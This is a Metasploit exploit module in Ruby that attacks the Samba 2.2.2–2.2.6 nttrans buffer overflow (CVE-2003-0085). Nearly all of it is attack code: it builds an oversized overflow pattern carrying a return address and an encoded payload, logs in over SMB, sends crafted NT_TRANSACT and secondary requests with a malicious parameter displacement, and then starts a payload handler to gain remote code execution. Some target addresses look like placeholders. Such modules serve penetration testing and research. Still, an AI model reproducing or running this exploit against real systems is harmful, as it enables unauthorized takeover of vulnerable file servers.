Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::SMB

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow',

                        'Description'    => %q{

                                        This module attempts to exploit a buffer overflow vulnerability present in

                                versions 2.2.2 through 2.2.6 of Samba.

                                The Samba developers report this as:

                                "Bug in the length checking for encrypted password change requests from clients."

                                The bug was discovered and reported by the Debian Samba Maintainers.

                        },

                        'Author'         => [ 'hdm' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2003-0085' ],

                                        [ 'OSVDB', '6323' ],

                                        [ 'BID', '7106' ],

                                        [ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]

                                ],

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 1024,

                                        'BadChars' => "\x00",

                                        'MinNops'  => 512,

                                },

                        'Targets'        =>

                                [

                                        [ "Samba 2.2.x Linux x86",

                                                {

                                                        'Arch' => ARCH_X86,

                                                        'Platform' => 'linux',

                                                        'Rets' => [0x01020304, 0x41424344],

                                                },

                                        ],

                                ],

                        'DisclosureDate' => 'Apr 7 2003'

                        ))

                register_options(

                        [

                                Opt::RPORT(139)

                        ], self.class)

        end

        def exploit

                # 0x081fc968

                pattern = Rex::Text.pattern_create(12000)

                pattern[532, 4] = [0x81b847c].pack('V')

                pattern[836, payload.encoded.length] = payload.encoded

                # 0x081b8138

                connect

                smb_login

                targ_address = 0xfffbb7d0

                #

                # Send a NTTrans request with ParameterCountTotal set to the buffer length

                #

                subcommand   = 1

                param        = ''

                body         = ''

                setup_count  = 0

                setup_data   = ''

                data = param + body

                pkt = CONST::SMB_NTTRANS_PKT.make_struct

                self.simple.client.smb_defaults(pkt['Payload']['SMB'])

                base_offset = pkt.to_s.length + (setup_count * 2) - 4

                param_offset = base_offset

                data_offset = param_offset + param.length

                pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT

                pkt['Payload']['SMB'].v['Flags1'] = 0x18

                pkt['Payload']['SMB'].v['Flags2'] = 0x2001

                pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count

                pkt['Payload'].v['ParamCountTotal'] =12000

                pkt['Payload'].v['DataCountTotal'] = body.length

                pkt['Payload'].v['ParamCountMax'] = 1024

                pkt['Payload'].v['DataCountMax'] = 65504

                pkt['Payload'].v['ParamCount'] = param.length

                pkt['Payload'].v['ParamOffset'] = param_offset

                pkt['Payload'].v['DataCount'] = body.length

                pkt['Payload'].v['DataOffset'] = data_offset

                pkt['Payload'].v['SetupCount'] = setup_count

                pkt['Payload'].v['SetupData'] = setup_data

                pkt['Payload'].v['Subcommand'] = subcommand

                pkt['Payload'].v['Payload'] = data

                self.simple.client.smb_send(pkt.to_s)

                ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)

                #

                # Send a NTTrans secondary request with the magic displacement

                #

                param = pattern

                body  = ''

                data  = param + body

                pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct

                self.simple.client.smb_defaults(pkt['Payload']['SMB'])

                base_offset = pkt.to_s.length - 4

                param_offset = base_offset

                data_offset = param_offset + param.length

                pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY

                pkt['Payload']['SMB'].v['Flags1'] = 0x18

                pkt['Payload']['SMB'].v['Flags2'] = 0x2001

                pkt['Payload']['SMB'].v['WordCount'] = 18

                pkt['Payload'].v['ParamCountTotal'] = param.length

                pkt['Payload'].v['DataCountTotal'] = body.length

                pkt['Payload'].v['ParamCount'] = param.length

                pkt['Payload'].v['ParamOffset'] = param_offset

                pkt['Payload'].v['ParamDisplace'] = targ_address

                pkt['Payload'].v['DataCount'] = body.length

                pkt['Payload'].v['DataOffset'] = data_offset

                pkt['Payload'].v['Payload'] = data

                self.simple.client.smb_send(pkt.to_s)

                ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY)

                handler

        end

end